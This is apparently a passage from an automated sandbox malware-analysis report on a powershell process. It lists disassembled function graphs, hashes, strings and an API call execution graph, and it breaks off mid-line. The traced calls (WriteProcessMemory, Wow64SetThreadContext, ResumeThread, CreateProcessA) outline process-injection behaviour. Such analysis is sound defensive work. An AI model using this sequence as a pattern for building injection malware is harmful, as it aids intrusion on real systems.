261->281 282 553cd8-553cde 261->282 272 553b36-553b8d 263->272 273 553b20-553b26 263->273 264->263 274 553e9b-553e9d 266->274 271 553fdc-553fdd 267->271 268->271 275 553b28 273->275 276 553b2a-553b2c 273->276 279 553eb5-553f0c 274->279 280 553e9f-553ea5 274->280 275->272 276->272 283 553ea7 280->283 284 553ea9-553eab 280->284 290 553d14-553d62 281->290 291 553d0f-553d12 281->291 286 553ce0 282->286 287 553ce2-553ce4 282->287 283->279 284->279 286->281 287->281 292 553d67-553d6e 290->292 291->292
                        Strings
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID: h%f$h%f
                        • API String ID: 0-3696830061
                        • Opcode ID: 23d6c638662abea4fe050c9589e967b6ada6780ab581b045a716daa78aae5a0a
                        • Instruction ID: c60d258eed3a77ea89e8ea114352b1196f7ab75382562ab84bae887898bf8d52
                        • Opcode Fuzzy Hash: 23d6c638662abea4fe050c9589e967b6ada6780ab581b045a716daa78aae5a0a
                        • Instruction Fuzzy Hash: C0E12531B002159FDB159F64C8247AA7FF1BFC5352F2484ABD849DB291DA31CE4AC7A1
                        Function 002E8E68 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 521 2e8e68-2e8ed3 523 2e8eea-2e8f51 WriteProcessMemory 521->523 524 2e8ed5-2e8ee7 521->524 526 2e8f5a-2e8fac 523->526 527 2e8f53-2e8f59 523->527 524->523 527->526
                        APIs
                        • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 002E8F3B
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455021029.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_2e0000_powershell.jbxd
                        Similarity
                        • API ID: MemoryProcessWrite
                        • String ID:
                        • API String ID: 3559483778-0
                        • Opcode ID: 001af312b5d635333ffb337d21c4ad735d149e60cbb915efb3766d2f369a869a
                        • Instruction ID: 4d01017348064abea949bddaaff8d4b5319a293c81fe8fcf4defe31d7e4d9bbc
                        • Opcode Fuzzy Hash: 001af312b5d635333ffb337d21c4ad735d149e60cbb915efb3766d2f369a869a
                        • Instruction Fuzzy Hash: 764198B5D002499FCF00CFA9D984AEEBBF1BB49310F60942AE818B7250D775AA55CF64
                        Function 002E8B18 Relevance: 1.6, APIs: 1, Instructions: 99threadCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 532 2e8b18-2e8b80 535 2e8b97-2e8be5 Wow64SetThreadContext 532->535 536 2e8b82-2e8b94 532->536 538 2e8bee-2e8c3a 535->538 539 2e8be7-2e8bed 535->539 536->535 539->538
                        APIs
                        • Wow64SetThreadContext.KERNEL32(?,?), ref: 002E8BCF
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455021029.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_2e0000_powershell.jbxd
                        Similarity
                        • API ID: ContextThreadWow64
                        • String ID:
                        • API String ID: 983334009-0
                        • Opcode ID: 61d88df04c763eb0f80b5f8a6bde96afdce0f5a581429fd2f3a777b90059cfa3
                        • Instruction ID: c6d0ce95912f479da9f622bd3e4371cfa74ee4dc492e3668972fab6930efa8ea
                        • Opcode Fuzzy Hash: 61d88df04c763eb0f80b5f8a6bde96afdce0f5a581429fd2f3a777b90059cfa3
                        • Instruction Fuzzy Hash: 9741CEB4D002489FDB10CFA9D884AEEFBF1BF49314F24802AE458B7240D778AA45CF54
                        Function 002E8B20 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 544 2e8b20-2e8b80 546 2e8b97-2e8be5 Wow64SetThreadContext 544->546 547 2e8b82-2e8b94 544->547 549 2e8bee-2e8c3a 546->549 550 2e8be7-2e8bed 546->550 547->546 550->549
                        APIs
                        • Wow64SetThreadContext.KERNEL32(?,?), ref: 002E8BCF
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455021029.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_2e0000_powershell.jbxd
                        Similarity
                        • API ID: ContextThreadWow64
                        • String ID:
                        • API String ID: 983334009-0
                        • Opcode ID: e9f0c75dcb0462d289025356271ec2b6aedf580b55a942e4f2095d39f05cef20
                        • Instruction ID: fd371c213efc6ba1eb5a91f80199774cf079287d3148abd6a3c773998cf7c605
                        • Opcode Fuzzy Hash: e9f0c75dcb0462d289025356271ec2b6aedf580b55a942e4f2095d39f05cef20
                        • Instruction Fuzzy Hash: E141CEB5D002589FDB10CFAAD984AEEFBF1BF49314F24842AE418B7240D778AA45CF54
                        Function 002E8A28 Relevance: 1.6, APIs: 1, Instructions: 78threadCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 555 2e8a28-2e8ac4 ResumeThread 558 2e8acd-2e8b0f 555->558 559 2e8ac6-2e8acc 555->559 559->558
                        APIs
                        • ResumeThread.KERNELBASE(?), ref: 002E8AAE
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455021029.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_2e0000_powershell.jbxd
                        Similarity
                        • API ID: ResumeThread
                        • String ID:
                        • API String ID: 947044025-0
                        • Opcode ID: 1c0d7546437e31b901fafcf9c02eca39645b8e53243bd915ded17d63f6705674
                        • Instruction ID: 6eb5d8790a5b0c4e454dc3b14225c35a59a3d317979891692c1121beea653d8a
                        • Opcode Fuzzy Hash: 1c0d7546437e31b901fafcf9c02eca39645b8e53243bd915ded17d63f6705674
                        • Instruction Fuzzy Hash: 7431EFB5D102589FCF10CFAAD884AEEFBB0AF49310F24842AE819B7350C775A905CF54
                        Function 002E8A30 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 564 2e8a30-2e8ac4 ResumeThread 567 2e8acd-2e8b0f 564->567 568 2e8ac6-2e8acc 564->568 568->567
                        APIs
                        • ResumeThread.KERNELBASE(?), ref: 002E8AAE
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455021029.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_2e0000_powershell.jbxd
                        Similarity
                        • API ID: ResumeThread
                        • String ID:
                        • API String ID: 947044025-0
                        • Opcode ID: 893a24ff086b25a1ccfefc5d0c47360ccc4bc24a830ff17c2af7f3fcfaa179ce
                        • Instruction ID: 2ebaeb602cd075c3de92fd0add7e7ce95f56c0a53222f7a4956e224039e8db3c
                        • Opcode Fuzzy Hash: 893a24ff086b25a1ccfefc5d0c47360ccc4bc24a830ff17c2af7f3fcfaa179ce
                        • Instruction Fuzzy Hash: 6231DDB4D102589FCF10CFAAD884ADEFBB5AF48310F10842AE818B7300C775A901CF94
                        Function 005543E8 Relevance: .4, Instructions: 371COMMON
                        Download Yara Rule

                        Control-flow Graph

                        • Executed
                        • Not Executed
                        control_flow_graph 816 5543e8-55440b 817 5545e6-554612 816->817 818 554411-554416 816->818 826 554614-554619 817->826 827 55465f-554699 817->827 819 55442e-554432 818->819 820 554418-55441e 818->820 824 554593-55459d 819->824 825 554438-55443c 819->825 822 554420 820->822 823 554422-55442c 820->823 822->819 823->819 828 55459f-5545a8 824->828 829 5545ab-5545b1 824->829 830 55444f 825->830 831 55443e-55444d 825->831 832 554631-554649 826->832 833 55461b-554621 826->833 843 5546b8 827->843 844 55469b-5546b6 827->844 834 5545b7-5545c3 829->834 835 5545b3-5545b5 829->835 837 554451-554453 830->837 831->837 849 554657-55465c 832->849 850 55464b-55464d 832->850 839 554625-55462f 833->839 840 554623 833->840 841 5545c5-5545e3 834->841 835->841 837->824 842 554459-554479 837->842 839->832 840->832 861 554498 842->861 862 55447b-554496 842->862 847 5546ba-5546bc 843->847 844->847 854 5546c2-5546c6 847->854 855 55474a-554754 847->855 850->849 854->855 857 5546cc-5546e9 854->857 858 554756-55475d 855->858 859 554760-554766 855->859 872 5546ef-5546f1 857->872 873 554799-55479e 857->873 864 55476c-554778 859->864 865 554768-55476a 859->865 866 55449a-55449c 861->866 862->866 868 55477a-554796 864->868 865->868 866->824 871 5544a2-5544a4 866->871 875 5544b4 871->875 876 5544a6-5544b2 871->876 877 5546f3-5546f9 872->877 878 55470b-554720 872->878 873->872 881 5544b6-5544b8 875->881 876->881 882 5546fd-554709 877->882 883 5546fb 877->883 888 554726-554744 878->888 889 5547a3-5547d4 878->889 881->824 886 5544be-5544de 881->886 882->878 883->878 895 5544f6-5544fa 886->895 896 5544e0-5544e6 886->896 888->855 901 5547e4 889->901 902 5547d6-5547e2 889->902 899 554514-554518 895->899 900 5544fc-554502 895->900 897 5544e8 896->897 898 5544ea-5544ec 896->898 897->895 898->895 908 55451f-554521 899->908 904 554504 900->904 905 554506-554512 900->905 903 5547e6-5547e8 901->903 902->903 906 55480a-554814 903->906 907 5547ea-5547ee 903->907 904->899 905->899 910 554816-55481b 906->910 911 55481e-554824 906->911 907->906 909 5547f0-554807 907->909 912 554523-554529 908->912 913 554539-554590 908->913 915 554826-554828 911->915 916 55482a-554836 911->916 917 55452d-55452f 912->917 918 55452b 912->918 921 554838-554852 915->921 916->921 917->913 918->913
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 16d5a8062b394fc02b59659b63ec5bc054ade6975b1c5da685630c08362703b5
                        • Instruction ID: c173cdd51f8b831bb6f75be7f2c48e895c2a1001aa4968be8d34a28b3c500b84
                        • Opcode Fuzzy Hash: 16d5a8062b394fc02b59659b63ec5bc054ade6975b1c5da685630c08362703b5
                        • Instruction Fuzzy Hash: 9EC148347042409FDB159B64882477A7FE2BFC6316F24846BD849CB292DB35CC8ACF62
                        Function 005543C9 Relevance: .1, Instructions: 109COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: caccd81b399f72b997cda4b7a2fab9ec1cdf3515ff8dca8e3c2ec20ad32b9bc5
                        • Instruction ID: 4684cceed51b91b3e8938af6d7f914a6ad5c2aee9581cd09bf87a2d69667468d
                        • Opcode Fuzzy Hash: caccd81b399f72b997cda4b7a2fab9ec1cdf3515ff8dca8e3c2ec20ad32b9bc5
                        • Instruction Fuzzy Hash: F731DC30A44345CFCF218E24942067A7FA1BF9531AF2580ABDC449B2A2E775CDC9DF22
                        Function 00553DE8 Relevance: .1, Instructions: 65COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 3cb9ea8ddd6f755a11d92b394913d845d54ee3096fa536986c8cf25f8dd44f0f
                        • Instruction ID: b0f6f892236e79524afcc6462505f0df5c9788f22e3104e0d63332e1246e4c72
                        • Opcode Fuzzy Hash: 3cb9ea8ddd6f755a11d92b394913d845d54ee3096fa536986c8cf25f8dd44f0f
                        • Instruction Fuzzy Hash: A3119030A00204DFCB549E69C46676ABFF9BF94392F2580A7EC0DD7250D774DA89C7A1
                        Function 00551189 Relevance: .1, Instructions: 54COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: d094187274ff16d8301c07532849446a3f69684f9acf8509aa5a7b35531de894
                        • Instruction ID: 3e6fb0ad6040bdc26ea0fc18d11221b4a82e49756414776970bb3cbca7c9c34f
                        • Opcode Fuzzy Hash: d094187274ff16d8301c07532849446a3f69684f9acf8509aa5a7b35531de894
                        • Instruction Fuzzy Hash: 9E1144603583842FD71117314C25B6E3EA5AF82701F0480AFF945DF2D3CAA99E4A8356
                        Function 001AD006 Relevance: .0, Instructions: 47COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000A.00000002.454922145.00000000001AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001AD000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_1ad000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 3e3612fe7f3a8edde545b012afc45fb7f63464f73a8fedee5c054b44adf41a58
                        • Instruction ID: 254aadc48e5c6983978233360e64cfae44175bea0cae8fff6d71796a2bfde49a
                        • Opcode Fuzzy Hash: 3e3612fe7f3a8edde545b012afc45fb7f63464f73a8fedee5c054b44adf41a58
                        • Instruction Fuzzy Hash: AF01CC6100C3C09FD7124B219C98762BFB8EF53220F0981CBE8888F1A3C2689C45CB72
                        Function 001AD01D Relevance: .0, Instructions: 45COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000A.00000002.454922145.00000000001AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 001AD000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_1ad000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: fa59a6ab949c278d1e43eccab0d2e81eae848463400d9e006f15ffc5d1693ba1
                        • Instruction ID: bf58911e6556e2174630afc0ddc7ad570a7c446a906b25ecf882344be16d4c69
                        • Opcode Fuzzy Hash: fa59a6ab949c278d1e43eccab0d2e81eae848463400d9e006f15ffc5d1693ba1
                        • Instruction Fuzzy Hash: 5B01F775504B40AEE7144A25EDC476BBBD8DF82724F18C555FC4A0B582C3B99941CAB1
                        Function 005511B0 Relevance: .0, Instructions: 41COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 07b369fc9c937c108f4fec60443513929373734c7a3bd9bb6830e8c1bb0a9f76
                        • Instruction ID: a86513e33dc5db521fa5a78d7db7e2ab7853188beeeaf4123ec38b03107291ea
                        • Opcode Fuzzy Hash: 07b369fc9c937c108f4fec60443513929373734c7a3bd9bb6830e8c1bb0a9f76
                        • Instruction Fuzzy Hash: DDF0C87435030837E62416728815F6F59D6AFD4B41F50801DF9069F3C2CDB6AD414359
                        Function 00554DF7 Relevance: .0, Instructions: 23COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 48dc153947abcf5a723589408610dfaab3064bf37118e1f51e90bc1acfcace7d
                        • Instruction ID: fe2a6f4ba901b307a4ba31bbb928687965efc9b35176d8a0a5fabd04d57dd70a
                        • Opcode Fuzzy Hash: 48dc153947abcf5a723589408610dfaab3064bf37118e1f51e90bc1acfcace7d
                        • Instruction Fuzzy Hash: 22E0D8317142448FDF16A670A0323BD7B967FE2256F214097C85097249CA309D5ACB63

                        Non-executed Functions

                        Function 00551420 Relevance: 15.4, Strings: 12, Instructions: 389COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID: 4:E$4:E$8#f$8#f$8#f$8#f$8#f$8#f$h%f$h%f$9E$9E
                        • API String ID: 0-93519887
                        • Opcode ID: 268be13fc80e94d3437c0d71a9c40fb19c45afdccce47e436b8dfb9c6ccb5aa3
                        • Instruction ID: b1512574a80e48e937e05b2d63d2a2a05ceadeeed019b1e9e884b6ec6d1910a4
                        • Opcode Fuzzy Hash: 268be13fc80e94d3437c0d71a9c40fb19c45afdccce47e436b8dfb9c6ccb5aa3
                        • Instruction Fuzzy Hash: 98C1F435B006018FDB149F68C860B6ABFE2BFC5311B28C46BDD09CB252DA31DD4ACB95
                        Function 005500A0 Relevance: 11.7, Strings: 9, Instructions: 417COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID: L4#p$L4#p$L4#p$L4#p$L4#p$L4#p$`8E$`8E$`8E
                        • API String ID: 0-2460726148
                        • Opcode ID: bb8d05905cbe3ab6d84ea8ba731e76c88b5433e25231f9d5388db84e49878f3b
                        • Instruction ID: 9affe9cf74a4f53f3de992ee0f877d85b6e571b0ba1a20143fbb46fab2a892d3
                        • Opcode Fuzzy Hash: bb8d05905cbe3ab6d84ea8ba731e76c88b5433e25231f9d5388db84e49878f3b
                        • Instruction Fuzzy Hash: 16D1EF35B00214DFDF259E64C824BBE7BA2BF84312F14846BE9059B2D1DB70DD49CBA2
                        Function 00550968 Relevance: 6.4, Strings: 5, Instructions: 195COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID: 8#f$8#f$8s.$[f$[f
                        • API String ID: 0-2436010297
                        • Opcode ID: 3ebab32083b44cd8f40e922f80df9499b96bb8af8df01bf53cbf19a28c189bad
                        • Instruction ID: d8a1e0ae1a4430988bdffe6667b51cd49a666e17f45f78d6277884d7bd903686
                        • Opcode Fuzzy Hash: 3ebab32083b44cd8f40e922f80df9499b96bb8af8df01bf53cbf19a28c189bad
                        • Instruction Fuzzy Hash: 355125317043149FEB249A65C864B7ABBA2BBC1322F24C42BED498B3C1CA71DD85C791
                        Function 005505C8 Relevance: 5.2, Strings: 4, Instructions: 208COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 0000000A.00000002.455193896.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_10_2_550000_powershell.jbxd
                        Similarity
                        • API ID:
                        • String ID: L4#p$L4#p$L4#p$\9E
                        • API String ID: 0-2046043369
                        • Opcode ID: 986d4181236b1a589187127faa8f982719ced3637b9a6de2396ff609b435f375
                        • Instruction ID: 5d478458f67c06ebcaa562c823f7ce8e3df5da29dc4e5f70dc86c68e1604d870
                        • Opcode Fuzzy Hash: 986d4181236b1a589187127faa8f982719ced3637b9a6de2396ff609b435f375
                        • Instruction Fuzzy Hash: F7612530700254AFDF159B64D8207AE7BA2BFC5311F148466ED149B2D2DB70ED59CBA2

                        Execution Graph

                        Execution Coverage:4.8%
                        Dynamic/Decrypted Code Coverage:0%
                        Signature Coverage:4.8%
                        Total number of Nodes:1616
                        Total number of Limit Nodes:56
                        execution_graph 47241 445847 47242 445852 47241->47242 47244 44587b 47242->47244 47246 445877 47242->47246 47247 448a84 47242->47247 47254 44589f DeleteCriticalSection 47244->47254 47255 4484ca 47247->47255 47250 448ac9 InitializeCriticalSectionAndSpinCount 47251 448ab4 47250->47251 47262 434fcb 47251->47262 47253 448ae0 47253->47242 47254->47246 47256 4484f6 47255->47256 47257 4484fa 47255->47257 47256->47257 47261 44851a 47256->47261 47269 448566 47256->47269 47257->47250 47257->47251 47259 448526 GetProcAddress 47260 448536 __crt_fast_encode_pointer 47259->47260 47260->47257 47261->47257 47261->47259 47263 434fd6 IsProcessorFeaturePresent 47262->47263 47264 434fd4 47262->47264 47266 435018 47263->47266 47264->47253 47276 434fdc SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47266->47276 47268 4350fb 47268->47253 47270 448587 LoadLibraryExW 47269->47270 47274 44857c 47269->47274 47271 4485a4 GetLastError 47270->47271 47272 4485bc 47270->47272 47271->47272 47275 4485af LoadLibraryExW 47271->47275 47273 4485d3 FreeLibrary 47272->47273 47272->47274 47273->47274 47274->47256 47275->47272 47276->47268 47277 434887 47278 434893 ___scrt_is_nonwritable_in_current_image 47277->47278 47304 434596 47278->47304 47280 43489a 47282 4348c3 47280->47282 47610 4349f9 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 47280->47610 47290 434902 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 47282->47290 47315 444251 47282->47315 47285 4348e2 ___scrt_is_nonwritable_in_current_image 47287 434962 47323 434b14 47287->47323 47290->47287 47611 4433e7 36 API calls 3 library calls 47290->47611 47297 434984 47298 43498e 47297->47298 47613 44341f 28 API calls _abort 47297->47613 47300 434997 47298->47300 47614 4433c2 28 API calls _abort 47298->47614 47615 43470d 13 API calls 2 library calls 47300->47615 47303 43499f 47303->47285 47305 43459f 47304->47305 47616 434c52 IsProcessorFeaturePresent 47305->47616 47307 4345ab 47617 438f31 47307->47617 47309 4345b0 47314 4345b4 47309->47314 47626 4440bf 47309->47626 47312 4345cb 47312->47280 47314->47280 47316 444268 47315->47316 47317 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47316->47317 47318 4348dc 47317->47318 47318->47285 47319 4441f5 47318->47319 47322 444224 47319->47322 47320 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47321 44424d 47320->47321 47321->47290 47322->47320 47676 436e90 47323->47676 47326 434968 47327 4441a2 47326->47327 47678 44f059 47327->47678 47329 434971 47332 40e9c5 47329->47332 47330 4441ab 47330->47329 47682 446815 36 API calls 47330->47682 47853 41cb50 LoadLibraryA GetProcAddress 47332->47853 47334 40e9e1 GetModuleFileNameW 47858 40f3c3 47334->47858 47336 40e9fd 47873 4020f6 47336->47873 47339 4020f6 28 API calls 47340 40ea1b 47339->47340 47879 41be1b 47340->47879 47344 40ea2d 47905 401e8d 47344->47905 47346 40ea36 47347 40ea93 47346->47347 47348 40ea49 47346->47348 47911 401e65 47347->47911 48180 40fbb3 118 API calls 47348->48180 47351 40eaa3 47355 401e65 22 API calls 47351->47355 47352 40ea5b 47353 401e65 22 API calls 47352->47353 47354 40ea67 47353->47354 48181 410f37 36 API calls __EH_prolog 47354->48181 47356 40eac2 47355->47356 47916 40531e 47356->47916 47359 40ea79 48182 40fb64 78 API calls 47359->48182 47360 40ead1 47921 406383 47360->47921 47363 40ea82 48183 40f3b0 71 API calls 47363->48183 47370 401fd8 11 API calls 47372 40eefb 47370->47372 47371 401fd8 11 API calls 47373 40eafb 47371->47373 47612 4432f6 GetModuleHandleW 47372->47612 47374 401e65 22 API calls 47373->47374 47375 40eb04 47374->47375 47938 401fc0 47375->47938 47377 40eb0f 47378 401e65 22 API calls 47377->47378 47379 40eb28 47378->47379 47380 401e65 22 API calls 47379->47380 47381 40eb43 47380->47381 47382 40ebae 47381->47382 48184 406c1e 47381->48184 47383 401e65 22 API calls 47382->47383 47389 40ebbb 47383->47389 47385 40eb70 47386 401fe2 28 API calls 47385->47386 47387 40eb7c 47386->47387 47390 401fd8 11 API calls 47387->47390 47388 40ec02 47942 40d069 47388->47942 47389->47388 47395 413549 3 API calls 47389->47395 47391 40eb85 47390->47391 48189 413549 RegOpenKeyExA 47391->48189 47393 40ec08 47394 40ea8b 47393->47394 47945 41b2c3 47393->47945 47394->47370 47401 40ebe6 47395->47401 47399 40ec23 47402 40ec76 47399->47402 47962 407716 47399->47962 47400 40f34f 48272 4139a9 30 API calls 47400->48272 47401->47388 48192 4139a9 30 API calls 47401->48192 47405 401e65 22 API calls 47402->47405 47408 40ec7f 47405->47408 47407 40f365 48273 412475 65 API calls ___scrt_fastfail 47407->48273 47416 40ec90 47408->47416 47417 40ec8b 47408->47417 47411 40ec42 48193 407738 30 API calls 47411->48193 47412 40ec4c 47414 401e65 22 API calls 47412->47414 47426 40ec55 47414->47426 47415 40f36f 47419 41bc5e 28 API calls 47415->47419 47422 401e65 22 API calls 47416->47422 48196 407755 CreateProcessA CloseHandle CloseHandle ___scrt_fastfail 47417->48196 47418 40ec47 48194 407260 98 API calls 47418->48194 47423 40f37f 47419->47423 47424 40ec99 47422->47424 48072 413a23 RegOpenKeyExW 47423->48072 47966 41bc5e 47424->47966 47426->47402 47430 40ec71 47426->47430 47427 40eca4 47970 401f13 47427->47970 48195 407260 98 API calls 47430->48195 47434 401f09 11 API calls 47436 40f39c 47434->47436 47438 401f09 11 API calls 47436->47438 47440 40f3a5 47438->47440 47439 401e65 22 API calls 47442 40ecc1 47439->47442 48075 40dd42 47440->48075 47445 401e65 22 API calls 47442->47445 47447 40ecdb 47445->47447 47446 40f3af 47448 401e65 22 API calls 47447->47448 47449 40ecf5 47448->47449 47450 401e65 22 API calls 47449->47450 47451 40ed0e 47450->47451 47453 401e65 22 API calls 47451->47453 47483 40ed7b 47451->47483 47452 40ed8a 47454 40ed93 47452->47454 47458 40ee0f ___scrt_fastfail 47452->47458 47457 40ed23 _wcslen 47453->47457 47455 401e65 22 API calls 47454->47455 47456 40ed9c 47455->47456 47459 401e65 22 API calls 47456->47459 47461 401e65 22 API calls 47457->47461 47457->47483 47982 413947 47458->47982 47462 40edae 47459->47462 47460 40ef06 ___scrt_fastfail 48257 4136f8 RegOpenKeyExA 47460->48257 47464 40ed3e 47461->47464 47465 401e65 22 API calls 47462->47465 47467 401e65 22 API calls 47464->47467 47468 40edc0 47465->47468 47466 40ef51 47471 401e65 22 API calls 47466->47471 47469 40ed53 47467->47469 47470 401e65 22 API calls 47468->47470 48197 40da34 47469->48197 47472 40ede9 47470->47472 47473 40ef76 47471->47473 47477 401e65 22 API calls 47472->47477 47992 402093 47473->47992 47476 401f13 28 API calls 47479 40ed72 47476->47479 47481 40edfa 47477->47481 47480 401f09 11 API calls 47479->47480 47480->47483 48255 40cdf9 45 API calls _wcslen 47481->48255 47482 40ef88 47998 41376f RegCreateKeyA 47482->47998 47483->47452 47483->47460 47487 40eea3 ctype 47492 401e65 22 API calls 47487->47492 47488 40ee0a 47488->47458 47490 401e65 22 API calls 47491 40efaa 47490->47491 48004 43baac 47491->48004 47493 40eeba 47492->47493 47493->47466 47497 40eece 47493->47497 47496 40efc1 48260 41cd9b 87 API calls ___scrt_fastfail 47496->48260 47499 401e65 22 API calls 47497->47499 47498 40efe4 47503 402093 28 API calls 47498->47503 47501 40eed7 47499->47501 47504 41bc5e 28 API calls 47501->47504 47502 40efc8 CreateThread 47502->47498 49197 41d45d 10 API calls 47502->49197 47505 40eff9 47503->47505 47506 40eee3 47504->47506 47508 402093 28 API calls 47505->47508 48256 40f474 104 API calls 47506->48256 47509 40f008 47508->47509 48008 41b4ef 47509->48008 47510 40eee8 47510->47466 47512 40eeef 47510->47512 47512->47394 47514 401e65 22 API calls 47515 40f019 47514->47515 47516 401e65 22 API calls 47515->47516 47517 40f02b 47516->47517 47518 401e65 22 API calls 47517->47518 47519 40f04b 47518->47519 47520 43baac _strftime 40 API calls 47519->47520 47521 40f058 47520->47521 47522 401e65 22 API calls 47521->47522 47523 40f063 47522->47523 47524 401e65 22 API calls 47523->47524 47525 40f074 47524->47525 47526 401e65 22 API calls 47525->47526 47527 40f089 47526->47527 47528 401e65 22 API calls 47527->47528 47529 40f09a 47528->47529 47530 40f0a1 StrToIntA 47529->47530 48032 409de4 47530->48032 47533 401e65 22 API calls 47534 40f0bc 47533->47534 47535 40f101 47534->47535 47536 40f0c8 47534->47536 47538 401e65 22 API calls 47535->47538 48261 4344ea 47536->48261 47540 40f111 47538->47540 47543 40f159 47540->47543 47544 40f11d 47540->47544 47541 401e65 22 API calls 47542 40f0e4 47541->47542 47545 40f0eb CreateThread 47542->47545 47547 401e65 22 API calls 47543->47547 47546 4344ea new 22 API calls 47544->47546 47545->47535 49195 